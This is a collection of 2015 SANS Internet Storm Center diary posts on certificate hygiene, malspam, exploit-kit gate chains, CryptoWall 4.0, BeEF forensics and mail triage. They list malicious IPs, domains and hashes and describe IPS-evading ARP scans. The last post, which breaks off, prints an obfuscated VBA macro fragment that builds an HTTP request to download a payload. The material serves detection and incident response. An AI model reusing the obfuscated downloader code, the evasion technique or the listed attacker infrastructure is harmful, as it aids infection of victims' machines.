SHA1 (Secure Hashing Algorithm 1) has been in use for about 20 years. More recently, some weaknesses have been identified in SHA1, and in general, faster computing hardware makes it more and more likely that collisions will be found. As a result, SHA2 starts to replace SHA1 and you should see this impacting your users next year. Various software will stop trusting SHA1 signatures, and users may receive warnings about invalid signatures or certificates as a result.

First a very quick primer on digital signatures. The signature verifies who created the document (the signer) and that the document wasn't altered after the fact. In order to do so, a hash of the document is created. Then, the author uses a private key to encrypt the hash. Anybody else may now use the signers public key to decrypt the hash, and verify that the hash is correct. If I can create a second document with the same hash, then I could just copy the signature from the first document and claim the second document is valid. This is the type of collision that a secure hash function is trying to make very difficult. Collisions are always possible with the hash being shorter then the original document. But for a good hash function, it is very very hard to create a second document that matches the first one. SHA2, which is going to replace SHA1, is actually a set of different hash functions (SHA-224 through SHA-512). 

The most likely area where you will see issues are SSL certificates. SSL certificates are digitally signed by the certificate authority. Until recently, SHA1 was the default hashing algorithm and there are many certificates still out there that are signed using a SHA1 hash. In addition, some intermediate certificates used by certificate authorities to sign server certificates are still based on SHA1 (and more of a problem as these certificates tend to have a long live time). There are a couple legacy operating systems where you will have issues implementing SHA2, in particular Windows XP SP2 and earlier.

To create SHA2 compliant certificate requests with openssl, you need to add the "-sha256" option. For example:

openssl req -out mydomain.csr -key mydomain.key -new -sha256 . Some old versions of openssl may not support this option.

A good overview of operating systems supporting or not supporting SHA256 can be found here: https://support.globalsign.com/customer/portal/articles/1499561-sha-256-compatibility

Here is a quick table to summarize when SHA1 based certificates are no longer going to work:

I was not able to find any announcement from Apple regarding OS X or iOS and how it will deal with SHA1 in the future.

If you are concerned about a web server and if it still uses a SHA1 based certificate, then please check ssllabs.com, or http://sha1affected.com.

And what about SHA3? It got ratified recently, and should start showing up in standard libraries soon. But at this point, there is no timetable to phase out SHA2.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

This has come up enough it seems worth noting for this U.S. Thanks Giving Holiday. The concept of public Domain Name Service (DNS) is not new, but worth discussing both the merits and pitfalls.  We’ve discussed DNS here quite a bit over the years, for a prospectus [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14].

There are a few (this is not an endorsement *quickly looks around for legal counsel and dodges them*) good services around that are known. Some ones worth mentioning that seem to be well maintained and have a free service for personal use:

Symantec

https://dns.norton.com/configureRouter.html

OpenDNS

https://store.opendns.com/setup/#/familyshield

Google DNS

https://developers.google.com/speed/public-dns/?hl=en

This might be a good way to also help out those friends and family that *sarcasm* inevitably call us for Information Technology support, and help make them a ‘little bit’ better off. Your mileage may vary… 

To those in the U.S., or abroad, or whomever is celebrating Thanks Given, have a happy one!

[1] https://isc.sans.edu/forums/diary/OpenDNS+is+looking+for+a+few+good+malware+people/13759

[2] https://isc.sans.edu/forums/diary/OpenDNS+Research+Used+to+Predict+Threat/20405

[3] https://isc.sans.edu/forums/diary/Odd+DNS+Resolution+for+Google+via+OpenDNS/6265

[4] https://isc.sans.edu/forums/diary/Cyber+Security+Awareness+Month+Protecting+Your+Network+From+Dave/20213

[5] https://isc.sans.edu/forums/diary/Detecting+Queries+to+odd+DNS+Servers/18145

[6] https://isc.sans.edu/forums/diary/Guest+Diary+Xavier+Mertens+Integrating+VirusTotal+within+ELK/19967

[7] https://isc.sans.edu/forums/diary/Malicious+Word+Document+This+Time+The+Maldoc+Is+A+MIME+File/19673

[8] https://isc.sans.edu/forums/diary/11+Ways+To+Track+Your+Moves+When+Using+a+Web+Browser/19369

[9] https://isc.sans.edu/forums/diary/Nuclear+EK+traffic+patterns+in+August+2015/20001

[10] https://isc.sans.edu/forums/diary/VENOM+Does+it+live+up+to+the+hype/19701

[11] https://isc.sans.edu/forums/diary/An+Example+of+Evolving+Obfuscation/19403

[12] https://isc.sans.edu/forums/diary/Yes+Virginia+Stored+XSSs+Do+Exist/20033

[13] https://isc.sans.edu/forums/diary/Business+Value+in+Big+Data/19727

[14] https://isc.sans.edu/forums/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429

Introduction

Earlier today (Wednesday 2015-11-25), one of our readers notified the ISC of malicious spam (malspam) with a Word document designed to infect a Windows computer with malware.  I found examples of the malspam and looked into it.  Word documents from this particular campaign will download Pony malware to infect a Windows computer with Vawtrak.  This malspam was blocked by our spam filters, but others might see it, so I'm posting the information in a diary.

Thanks for the heads up, Travis!

The emails

The emails spoof your company name (or whatever domain you're using for your email address), and they have a Microsoft Word document as an attachment.  The one's I've found have all been plain-text.

From: "accounting@[your company].com"
Reply-To: "accounting@[your company].com"
Date: Wednesday, 2015-11-25 at 09:37 CDT
To: [your email address]
Subject: Re: bill

This bill just came through and it has your name on it.
What is this about?

---
Este email está livre de vírus e malware porque a proteção avast! Antivirus está ativa.
https://www.avast.com/antivirus

Attachment: Bill.doc

The messages all have a notification at the bottom stating "This email is free of viruses and malware protection because the Avast! Antivirus is active."  These antivirus messages were all in different languages, based on the host these emails were sent from.

Shown above: Example of the malspam with a different language for the antivirus notification.

We saw this malspam come from senders at the following IP addresses:

• 2015-11-25 15:06 UTC - 85.246.96.111  (l13-96-111.dsl.telepac.pt)
• 2015-11-25 15:36 UTC - 178.253.170.155  (178-253-170-155.vdial.slovanet.sk)
• 2015-11-25 15:59 UTC - 188.250.234.94  (bl24-234-94.dsl.telepac.pt)
• 2015-11-25 16:14 UTC - 88.16.67.20  (20.Red-88-16-67.dynamicIP.rima-tde.net)
• 2015-11-25 16:26 UTC - 82.54.254.143  (host143-254-dynamic.54-82-r.retail.telecomitalia.it)

Shown above:  An example of the email headers from this malspam.

The attachment

The attachment is a Microsoft Word document with malicious macros.  The sample had already been submitted to VirusTotal (link), but it only had a 1 / 55 detection rate when I first checked.  I enabled the document's macros in a controlled environment to infect a Windows host.

Shown above: The malicious document opened in Word 2007.

The infection traffic

Infecting a host with the malware generated traffic that matched a Pony downloader infecting a Windows computer with Vawtrak.

Shown above: A pcap of the infection traffic filtered in Wireshark by HTTP request.

I reviewed the infection traffic using Security Onion with the EmergingThreats Pro signature set.  I saw alerts for Fareit/Pony and Vawtrak.

Shown above: Some of the alerts in Sguil on Security Onion.

The following IP addresses and domain names were associated with this Pony/Vawtrak infection:

• 95.213.169.17 - reflahadi.ru
• 149.210.186.152 - cafetariaxl.nl
• 46.161.1.172 - castuning.ru
• 91.200.14.95 - hybridtrend.com
• 81.177.22.179 - 81.177.22.179

Malware and artifacts from the infected host

The Word document caused the following artifacts to appear in the infected user's AppData\Local\Temp directory:

Shown above: Artifacts from the infected user's AppData/Local/Temp directory.

• 12.rtf - MD5 hash: 6dfd5c9274b1ecb1bad095cb8f00100e - VirusTotal link
• 13.rft - MD5 hash: f08febf78a641505c13746fd38ed09c3 - VirusTotal link
• 721723.exe (also HadFeqt.exe) - MD5 hash: a054dfe5575c59f6bd96fc395041eb93 - VirusTotal link
• st11.exe - MD5 hash: bd86e1a8a35b12841ee6694dcc607cd0 - VirusTotal link

Both st11.exe and 721723.exe deleted themselves shortly after appearing in the directory.  st11.exe is the Pony downloader.  721723.exe is Vawtrack, which copied itself to another directory and updated the infected host's registry to remain persistent.

Shown above: The Vawtrak malware from this infection.

Final words

Malspam with a Word document that causes Pony to download more malware is not uncommon.  It's just another example of the many types of malspam we see blocked by our spam filters on a daily basis.

Email examples, traffic, and malware from this diary can be found here.

Many thanks to our readers, who continue to notify us of suspicious activity!

---
Brad Duncan
Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

Recently shipped Dell systems have been found to include a special Root CA Certificate and private key, "eDellRoot". All systems apparently use the same key and certificate. Using the "secret" key, anybody could create certificates for any domain, and Dell systems with this eDellRoot certificate would trust it. The key is part of "Dell Foundation Services".

To test if your system is affected, see: https://edell.tlsfun.de

To remove the certificate if you are affected:

- stop and disable Dell Foundation Services
- delete the eDellRoot CA (start certmgr.msc, select "Trusted Root Certification Authorities" and "Certificates". Look for eDellRoot)

For details about managing Root CAs see https://technet.microsoft.com/en-us/library/cc754841.aspx

In this case, it is not sufficient to just remove the CA. Dell Foundation Services will reinstall it. This is why you need to disable Dell Foundation Services first, or delete the Dell.Foundation.Agent.Plugins.eDell.dll.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Introduction

Earlier this month, the BizCN gate actor switched IP addresses for its gate domains to 46.172.83.0/24.  Also, as early as Friday 2015-11-20, this actor started sending CryptoWall 4.0 as one of its malware payloads from the Nuclear exploit kit (EK).  Until now, I've only associated CryptoWall 4.0 with malicious spam (malspam).  This is the first time I've noticed CryptoWall 4.0 sent by an EK.

This diary discusses the recent change in BizCN-registered gates, and we'll look at some examples of CryptoWall 4.0 sent by this actor.

The gates

Like some other groups, the BizCN gate actor uses another server to act as a "gate" between the compromised website and its EK server (I explained gate traffic in my previous diary here).  I've been calling this criminal group the "BizCN gate actor" because domains it uses for the gate have all been registered through the Chinese registrar BizCN, always with privacy protection [1, 2].  Since July 2015, the BizCN gate actor has most often used Nuclear EK to deliver its malware payloads [2].

Shown above:  Flow of infection traffic caused by the BizCN gate actor.

This actor uses dedicated servers for its gate domains.  These gate domains tend to stick with one particular hosting provider.  At times, the BizCN gate actor will switch hosting providers for its gates, and the IP address block for these gates will change.

Since February 2015, the BizCN gate actor has used a handful of IP addresses in the 136.243.0.0/16 block (Germany - TK Rustelekom LLC) for its gate domains.  Earlier this month, the gates moved to 46.172.83.0/24 (Ukraine - PE Fesenko Igor Mikolayovich).

URL patterns for BizCN-registered gate traffic are fairly distinctive, and I was able to find several examples as early as 2015-11-19.

Shown above:  Examples of BizCN-registered gate traffic from this actor.  Click here for a pcap of the traffic.

A successful infection chain

Let's look at some infection traffic from Saturday 2015-11-21 [3].  The first step in this infection chain?  You'll find injected script that points to the BizCN-registered gate in a web page from the compromised website.

Shown above:  Injected script in page from a compromised website.

URL patterns in HTTP GET requests to these gate domains are fairly distinctive.  What's the second step for this successful infection chain?  An HTTP GET request to the gate domain returned some javascript.

Shown above:  HTTP GET request to the BizCN-registered gate returns javascript.

The javascript was sent gzip-compressed, so you won't be able to read it in a pcap by following the TCP stream in Wireshark.  I normally get a decompressed copy from the pcap by exporting HTTP objects in Wireshark.

Shown above:  Decompressed view of javascript returned from the BizCN-registered gate.

In the above image, I've highlighted the unicode that represents a Nuclear EK landing page URL.  See the image below to see how I translated it.

Shown above:  Translating unicode from javascript returned by the BizCN-registered gate.

The final step of this infection chain?  Nuclear EK infects a vulnerable Windows host.

Shown above:  Landing page from Nuclear EK used by the BizCN gate actor.

Shown above:  Flash exploit from Nuclear EK used by the BizCN gate actor.

Shown above:  Malware payload from Nuclear EK used by the BizCN gate actor.

CryptoWall 4.0 sent by the BizCN gate actor

CryptoWall is not the only payload sent by the BizCN gate actor, but it's the most common.  On Thursday 2015-11-19 when the BizCN gate actor sent CryptoWall, it was version 3 [4].

Shown above:  CryptoWall 3.0 infection caused by the BizCN gate actor (up through Thursday 2015-11-19).

Less than 24 hours later on Friday 2015-11-20, there was a change in CryptoWall sent by this actor [5].  I didn't realize it until another infection the next day [3].  Malware characteristics fit what others have posted about CryptoWall 4.0 [6, 7, 8].

Shown above:  CryptoWall 4.0 infection caused by the BizCN gate actor (Friday 2015-11-20 and after).

Whether it's version 3.0 or 4.0, CryptoWall sent by the BizCN gate actor is different than CryptoWall sent by other actors.  This malware looks like an NSIS installer [9], and it leaves behind artifacts in the infected user's AppData\Local\Temp directory that I don't see from other samples of CryptoWall.

Shown above:  CryptoWall 4.0 samples sent by BizCN gate actor Nuclear EK.  (Icons were the same for CryptoWall 3.0).

Shown above:  Examples of the artifacts left behind by BizCN gate actor CryptoWall (3.0 and 4.0).

Final words

Although examples of CryptoWall 4.0 have been found since 2015-11-02 [10], these samples were associated with malicious spam.  Until now, I haven't noticed CryptoWall 4.0 from any EKs.  And now I've only seen it from the BizCN gate actor.

As recently as Monday 2015-11-23, I saw CryptoWall sent by Angler EK, but it was still at version 3 [9].  Except for Nuclear EK from the BizCN gate actor, none of the other EKs appear to be sending version 4.  At least, that's what I've found so far.  I fully expect to see CryptoWall 4.0 from other EKs sometime soon.

Below is a list of traffic seen from the BizCN gate actor since Thursday 2015-11-19.  It includes links for traffic and malware samples.

(Read: Date/time - Nuclear EK IP address - Nuclear EK domain name - Link)

• 2015-11-19 03:10 UTC - 5.231.54.59 - 16953.falmuemb.xyz (CryptoWall 3.0) - Link
• 2015-11-20 02:50 UTC - 5.231.54.59 - 51649.edindagodl.xyz (CryptoWall 4.0) - Link
• 2015-11-21 02:26 UTC - 5.175.185.20 - 48637930475.kuputster.xyz (CryptoWall 4.0) - Link
• 2015-11-22 18:17 UTC - 5.175.194.135 - 439520.13406.duco-or.xyz (not CryptoWall) - Link
• 2015-11-23 00:40 UTC - 5.175.193.253 - 369504.6210.yani-et.xyz (CryptoWall 4.0) - Link

Since this information is now public, the BizCN gate actor may change tactics.  However, unless this actor initiates a drastic change, it can always be found again.  I (and other security professionals) will continue to track the BizCN gate actor.  Expect another diary on this subject if any significant changes occur.

---
Brad Duncan
Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References:

[1] https://isc.sans.edu/forums/diary/BizCN+gate+actor+changes+from+Fiesta+to+Nuclear+exploit+kit/19875/
[2] https://isc.sans.edu/forums/diary/BizCN+gate+actor+update/20209/
[3] http://malware-traffic-analysis.net/2015/11/21/index.html
[4] http://malware-traffic-analysis.net/2015/11/19/index2.html
[5] http://malware-traffic-analysis.net/2015/11/20/index2.html
[6] http://www.bleepingcomputer.com/news/security/cryptowall-4-0-released-with-new-features-such-as-encrypted-file-names/
[7] http://researchcenter.paloaltonetworks.com/2015/11/cryptowall-v4-emerges-days-after-cyber-threat-alliance-report/
[8] https://heimdalsecurity.com/blog/security-alert-cryptowall-4-0-new-enhanced-and-more-difficult-to-detect/
[9] http://malware-traffic-analysis.net/2015/11/23/index2.html
[10] http://malware-traffic-analysis.net/2015/11/05/index2.html

Two researchers (Dhia Mahjoub & Thomas Mathew) have recently presented at BruCON on how they have been using DNS to detect patterns that are typical of exploit kits landing domains. Obviously most of us won't get the amount of DNS queries OpenDNS collects (over 70+ billions per day or 1/2 TB per hour)  but the principles they are showing in the presentation are very interesting called "Spike Rank" or SPRank that leverages DNS traffic below recursive resolvers instead of the well know Domain Reputation. "SPRank detects domains showing as a sudden surge — or a spike — in DNS queries issued from our 65 million worldwide clients towards our resolvers."[1]

Their results so far appear to be very promising because they have been able to detect malware campaigns such as Angler, RIG, and Nuclear exploit kits, in addition to DGAs, fake software, or phishing. Take some time watching their BruCON presentation on YouTube and their recently published post.

Do you mine your DNS data and how successful are you at finding malicious activity?

[1] https://labs.opendns.com/2015/11/19/sprank-and-ip-space-monitoring/
[2] https://www.youtube.com/watch?v=8edBgoHXnwg/

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

After 3.5 years, Fyodor has just released Nmap 7. Here are some of the major changes:

- 3,200 code commits since Nmap 6
- 171 new NSE scripts
- Mature IPv6 support from host discovery, port scanning and OS detection

The release notes available here and you can download Nmap 7 here.

[1] https://nmap.org/7
[2] https://nmap.org/download.html

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

In his analysis of a malicious document, Xavier mentions an unknown VBA function he calls func_FormatDocument. This function changes the format of the document, and in this diary I will explain what the purpose of this function is.

This function is part of a social engineering trick: in a normal situation (default settings), Microsoft Office macros are disabled for documents received as e-mail attachments. The attack fails. Unless the attacker can trick the user into enabling macros.

One popular social engineering trick to entice users to enable macros, is to make the user believe that the document contains secret or confidential information, and that the user needs to take action to reveal this information. The Word document will contain a message that the content is hidden (or encoded, or encrypted, ...) and that the user needs to enable the content (or the macros) to visualize it. And this VBA function func_FormatDocument is part of such an elaborate social engineering trick. This function will change the font color from white to black (thereby "revealing" the hidden information) and remove the header that instructs the user to enable the content. The goal of this is to make the user believe that the content was decoded/decrypted, and that everything is normal, while in reality VBA macros were enabled and that the malicious payload executed.

There should be a saying: "a video is worth a thousand pictures". Because what I try to explain here with words, is much easier to understand when you see it in action. That's why I made this video:

Didier Stevens
SANS ISC Handler
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
IT Security consultant at Contraste Europe.

This famous Bruce’s quote is so true that we can re-use it to focus on specific topics like SIEM (“Security Information and Event Management”). Many organizations already deployed solutions to process their logs and to generate (useful - I hope) alerts. The market is full of solutions that can perform more or less a good job. But the ROI of your tool will be directly related to the processes that you implement next to the hardware and software components. I’ll give you two examples.

The first one is the implementation of a mandatory strong change management procedure. Recently, I faced this story at a customer. I call this the “green status” effect: If the security monitoring tool does not report alerts and and you assume that everything seems running fine, you'll fail! Because your SIEM quality is directly depending on the quality of the data send to it. Within the customer infrastructure, some critical devices were moved to a new VLAN (new IP addresses assigned to them) but the configuration of the collector was not changed to reflect this important change. Events being sent to a rsyslog instance and split based on the source IP address, the new events were not properly collected. They lost many alerts!

The second example focus on assets management. Many SIEM vendors propose compliancy packages (PCI, HIPAAS, SOX - name your favorite one). The marketing message behind those packages is “be compliant out of the box”. Really? Have a look at the following correlation rule extracted from a PCI compliancy package from a well-known SIEM solution (translated in human readable format):

if the target is not :
    known as a regular destination from the DMZ
    OR known as a trusted target
    OR known as a “cardholder” target
AND IF the destination port is not known as allowed (via an Active List)
AND IF the traffic is not coming from a VPN device
AND IF the traffic is not coming from a SIEM device
AND IF the source is flagged as an attacker from the DMZ

Based on this rule, we must:

• Define trusted hosts
• Define “cardholder” hosts
• Define the list of allowed ports
• Categorize the VPN, SIEM devices

This means that to make this rule effective, there is a huge classification job to perform to fill the SIEM with relevant data (again!). Deploying a SIEM is not just a one shot process. You’ve to carefully implement procedures!

• New devices must be provisioned in the SIEM configuration
• Changes must be reflected in the SIEM configuration. 
• Implement controls to detect unusual behavior (waiting for alerts is not enough)

Happy logging!

Xavier Mertens
ISC Handler - Freelance Security Consultant
PGP Key

This is a Guest Diary submitted by Pasquale Stirparo. 

Phishing emails represent a big security issue, especially in corporate environments where an extra double click by an inattentive user may be fatal, opening the doors to compromise the entire company’s network. This has also been confirmed in a study conducted by SANS stating that “95% of enterprise data breaches start with a spear phishing attack”. I decided to take a deeper look at phishing from the point of view of incident response, particularly at any forensic artifacts left behind by an attack that uses BeEF.

BeEF, The Browser Exploitation Framework, is a penetration-testing tool focusing on web browsers. You can think of it as the Metasploit for web browsers security testing. In fact, it offers several modules that may allow the attacker to, for example, steal web login credentials, switch on microphone and camera, etc. Very briefly, what BeEF does is hooking the browser via a javascript placed inside a normal HTML page, which then exposes RESTful API that allows BeEF to be scripted through HTTP/JSON requests. The interesting aspect is that all of this is running inside the browser, hence leaving the chances of finding file system artifacts very low.

Attack Scenario

To go ahead with the tests, I built up a standard attack scenario like the following:

1. The user receives an email with a link to a “legit” but infected website.

2. Once clicked, the browser is hooked (it will appear in the console panel) and BeEF extract a complete fingerprint of it

3. A fake Facebook logout alert is prompted to steal credentials via the “Pretty Theft” module

4. An invisible iframe is created, overlapping the current page, which opens a connection to a server where Metasploit is listening

5. Once connected, Metasploit delivers a meterpreter by exploiting a recent Flash vulnerability

Analysis Methodology and Initial Results

The idea is trying to understand what traces are left by BeEF at each different stage of the attack. To do this, I thought about four different states to be checked:

1. Clean state with Firefox Browser ON
2. After browser has been successfully hooked
3. After BeEF modules in action: credentials stolen
4. After exploitation with BeEF+Metasploit

For all of them, memory and disk dumps have been taken, plus registry and file system changes monitored (regshot + PowerShell script).

The initial analysis (the project is still in the early phase) on the disk dump found artifacts only on the browser cache (as we would expect):

C:\Users\p4c0\AppData\Local\Mozilla\Firefox\Profiles \w3nf5opu.default\cache2\entries\

and BeEF appears to be quite stealthy:

• No files dropped
• No new processes spawned (only Metasploit Flash exploit did it)

However, BeEF code is retrievable from the memory within the browser process

$ python vol.py -f beefed.dmp --profile=Win7SP0x86 pslist
$ python vol.py –f beefed.dmp --profile=Win7SP0x86 memdump –p 4040 –D
dest_dir
$ strings dest_dir/4040.dmp > strings_ff_beefed.txt

So I decided to try hunting it with Yara. I created one Yara rule “manually” and generated two other rules with yarGen starting from the main BeEF module, and all of them worked correctly. At this point, I got curious and tried to generate a rule for the specific “Pretty Theft” module used to steal user’s Facebook credentials and guess what, it worked too. This means that an analyst can identify that BeEF was used, and even which specific module.

As next steps for this project, I am working on full Windows coverage (including Hiberfil.sys, pagefile, registry, and timeline) Mac OS X and Mobile, and I am looking into further expanding the Yara signatures and coverage.

In my next diary, I'm going to show how the rules work in practice.

This work has been presented at the last SANS DFIR EU Summit 2015 in Prague. You can find the slides online if interested.

Happy Hunting.

Pasquale

Introduction

Exploit kits (EKs) are used by criminals to infect unsuspecting users while they are browsing the web.  EKs are hosted on servers specifically dedicated to the EK.  

How are the users' computers directed to an EK?  It often happens through compromised websites.  Threat actors compromise legitimate websites, and pages from these compromised servers have injected script that connects the user's computer to an EK server.  This happens behind the scenes, and the user is unaware.

In its simplest form, the chain of events looks like:

Compromised (legitimate) website --> EK server 

Threat actors often use another server as a gate between the compromised website and the EK server.  I often call it a "redirect" because it redirects traffic from a compromised website to the EK.  When gates are used, the chain of events looks like:

Compromised website --> Gate --> EK

The gate is most often another compromised website.  Less often, the gate is a dedicated server established by the threat actor.  At times, threat actors have used Pastebin or a URL shortner like goo.gl as the gate.

In some cases, you might find a second or third gate before you get to the EK.

Compromised website --> First gate --> Second gate --> EK

All of this is transparent to the unsuspecting user.  Fortunately, many security professionals study EK traffic.  Specific trends are quickly identified, security professionals share the data, and automated detection is usually available within a day or two.

Threat actors know this.  Criminals occasionally change tactics in how they direct traffic from compromised websites to their EK servers.  For example, earlier this week I noticed a change by an actor using Rig EK.  On Monday 2015-11-16, this threat actor was using a distinct gate path.  By Wednesday 2015-11-18, the gate patterns had distinctly changed.

Chain of events

On Monday 2015-11-16, this actor was using a two gates between the compromised website and Rig EK.  The first gate was a Pastebin page that returned text generating another gate URL.  The second gate was hosted on a Mexican domain.

Shown above:  Flow chart for this threat actor on Monday 2015-11-16.

On Wednesday 2015-11-18, the same actor had switched to a single gate.  These single gates appeared to be hosted on other compromised websites.

Shown above:  Flow chart for the same threat actor on Wednesday 2015-11-18.

...And You Will Know Us by the Malware We Spread

I intercepted Rig EK traffic on two different days.  The first group of Rig EK intercept came from Monday 2015-11-16.  The second group came from Wednesday 2015-11-18.  Although I could not identify this actor, the traffic represents the same criminal group.  I'm basing my assessment on the malware payload.  Each payload exhibited the same behavior on both occasions.  The malware copied itself somewhere under the user's AppData\Roaming directory and updated the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run registry key for persistence.  Below are images for three examples from Wednesday 2015-11-18.

Traffic from Monday 2015-11-16

Below are images for three examples of Rig EK from Monday 2015-11-16 filtered in Wireshark.  You'll find the compromised legitimate website, followed by the first gate using Pastebin, followed by the second gate on lachinampa.com.mx.  Rig EK was on 46.30.43.173 using the domains day.boatstuffforsale.com or help.bobsrvclub.com.  Post-infection traffic was on 62.76.42.21 using the domain alohajotracks.com.

This pattern was somewhat unusual, because script pointing to the gates was written backwards.  See the images below for examples of injected script with these backward URLs pointing to the gate hosted on Pastebin.

One of the above images (the second example) shows an additional Pastebin gate URL using HTTPS.  What did the Pastebin URLs return?  More backwards script pointing to a URL at lachinampa.com.mx.

Shown above:  More backwards script from the gate using Pastebin.

The second gate at lachinampa.com.mx returned an iframe pointing to a Rig EK landing page.

Shown above:  Malicious script returned from the second gate at lachinampa.com.mx.

The EK traffic was recognizable as Rig EK.  I used tcpreplay on one of the 2015-11-16 pcaps in Security Onion and found alerts for Rig EK and the Chthonic Trojan. 

Shown above:  Significant events from traffic on Monday 2015-11-16 using the EmergingThreats Pro signature set.

Traffic from Wednesday 2015-11-18

I saw Rig EK and the same post-infection traffic after viewing more compromised websites on Wednesday 2015-11-18.  You'll find the compromised legitimate website, followed by a single gate.  Rig EK was on 46.40.46.146 using the domains ftg.askgreatquestions.com, ghf.askmoregetmore.com, or erf.closelikeapro.com.  Post-infection traffic was seen on 62.76.42.21 using the domain alohajotracks.com, just like we saw before on Monday.  Below are images of the traffic filtered in Wireshark.

In the above image, script pointing to a gate at esparpool.com was injected into every .html and .js file from the compromised website.  The gate was sent multiple times, and it makes for a much messier pcap.

Below is an example of the gate traffic seen on Wednesday 2015-11-18.  In the image, you'll find the gate URL from fundacioncentrodeculturaandaluza.es returned an iframe pointing to a Rig EK landing page.

I used tcpreplay on one of the 2015-11-18 pcaps in Security Onion and saw the same alerts for Rig EK and the Chthonic Trojan.

Final words

I've seen a wide variety of paths from compromised websites to an EK server, so this isn't a comprehensive review on the topic.  This is just one example.  Don't get me started on malvertizing, which is a much more complicated chain of events.

Hopefully, this diary provides a good example of how criminal groups can change their tactics when directing traffic to an EK.

Pcaps and malware samples used in this diary are available here. 

---
Brad Duncan
Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

We do have a *very* experimental client script to submit logs from PFSense firewalls. Supporting these popular and capable open source firewalls is somewhat challenging. First of all, PFSense is based on BSD, not Linux like most other open source firewall distributions. As a result, our standard Linux clients will not work. The BSD packet filter code uses a different log format. To make things more interesting, PFSense uses a round-robbing log file. Log lines are continuously removed and added to just keep the last 'x' lines. 

I managed to put together a quick test. Feedback would be very helpful while I am learning how to turn this into a proper PFSense package.

Since there is no simple package to install right now, you need to install and configure the script manually. The script is written in PHP and heavily leverages existing PHP libraries that are included in PFSesnse.

The script sends logs to DShield via e-mail. You need to have "Notifications" configured. The script will just use the e-mail server settings from your notification configuration.

Please see: 

https://isc.sans.edu/clients/dshieldpfsense.txt

for the script. Additional instructions are included at the top. Please check back regularly for updates.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Today, we are all receiving a huge amount of spam containing multiple malicious documents (cfr my last diary). If most of them are part of massive spam campaigns and are already well known, others could be very interesting (because new or targeting specific people/groups). Being the happy owner of domain names and email addresses for years (some for 15+ years!), they are listed in all spammers' databases around the world. This helps me to receive a lot of emails. I'm collecting mails tagged as spam or send to unknown recipients. That's a kind of email honeypot.

The amount of mails received being important, it's boring to process them manually. I needed a way to automate the processing of all those attachments. That's the purpose of "mime2vt.py". This Python script extracts MIME types from email flows and checks them against virustotal.com. This is a basic check that helps in the triage of all those malicious files. Today, the implemented features are:

• MIME attachments are optionally dumped in a directory (for later investigations)
• VirusTotal API key used to:
  • Check if the file is known (its score is returned and logged)
  • Submit unknown files
• Non relevant MIME types can be excluded (ex: image/png,image/gif,image/jpeg,text/plain,text/html)
• Results are logged via Syslog
• Zip archives are inspected
• Virustotal results are send to an Elasticsearch instance (optional)

I recently updated the script with bug fixes and new features:

• URLs are extracted from emails 
• MD5 hashes are stored in a local database 

As the scripts reads the mail from STDIN, it's easy to implement it in any environment. Example, I'm a fan of procmail:

:0
* ^X-Spam-Flag: YES
{
    :0c
    | /usr/local/bin/mime2vt.py -d /var/mime/%y/%m/%d -c /etc/mime2vt.conf
    :0
    spam
}

In the example above, emails flagged as spam are piped to mime2vt. A copy of the MIME attachments will be saved in /var/mime/2015/11/16 (a daily repository). Here is an example of detected file:

Nov 16 12:12:50 marge mime2vt.py[9238]: DEBUG: config_file = /etc/mime2vt.conf
Nov 16 12:12:50 marge mime2vt.py[9238]: Processing zip archive: 8e10533a4b624f90b646a971fcf063c5.zip
Nov 16 12:12:50 marge mime2vt.py[9238]: DEBUG: Extracted MD5 06a4059da943b09f13ab2909824968de from Zip
Nov 16 12:12:51 marge mime2vt.py[9238]: DEBUG: VT Response received
Nov 16 12:12:51 marge mime2vt.py[9238]: File: dhl16112015_6987878544212.exe 
(06a4059da943b09f13ab2909824968de) Score: 3/54 Scanned: 2015-11-16 09:51:31 (2:21:20)

If the file is already known by VirusTotal, its score is returned as well as the scan time (+ time difference). Optionally, the Virustotal JSON reply can be indexed by Elasticsearch to generate live dashboards:

The script is updated quite often but it already available on github.

Xavier Mertens
ISC Handler - Freelance Security Consultant
PGP Key

Sometimes, nmap can be quite noisy an trigger host IPS or network IPS alarms. When doing recon, one of the available options is ARP Ping. Let's see the packet distribution for a ARP Ping scan performed to a /24 network using the command nmap -PR 192.168.0.0/24:

Not that much ARP packets, isn't it? nmap performs portscan to targets as well. If we want to be quiet, we could use the pattern performed by default gateways, which send ARP request to all the active nodes in its table from time to time. Let's see an example:

We can send the same packet sequence using scapy. Let's see the script:

There are 6 hosts on the network only two answered. What happened? We just sent ARP packets without any options set. To reproduce the gateway packet pattern, we need to review the ARP header:

We just set the destination protocol address and all the other options are missing. What do we need to set?

• opcode: Need to be set to 1 (request)
• hardware type: Need to be set to 1 (Ethernet)
• protocol type: Need to be set to 0x0800 (IP)

Let's try again the scapy script with the new options:

This scan is definitely not noisy. Let's see the packet distribution:

Scapy is so powerful. If you need specific features in pentesting, you should definitely consider building your own tools invoking libraries like this one.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

This week, I was busy with an incident which involved an interesting malicious Word document. OLE documents with malicious macros are not new, I receive a few of them every day in my mail trap. Until they remain a great way to compromise end-user computers, the flood won't stop. Usually, the macro is executed (the user is asked to enable its execution using social engineering traps like "The content of this document is protected, enable macros to view it") and downloads a new payload via the object MSXML2.ServerXMLHTTP. Here is an example of an obfuscation object construction to perform a GET request:

BHJQWGDHJQWGDWQ = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P"
Set Tghafsdghqhjwgdhjqwgdjhqwgdqwd = CreateObject(BHJQWGDHJQWGDWQ)
Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Open "G" & "" & "ET", ggFw

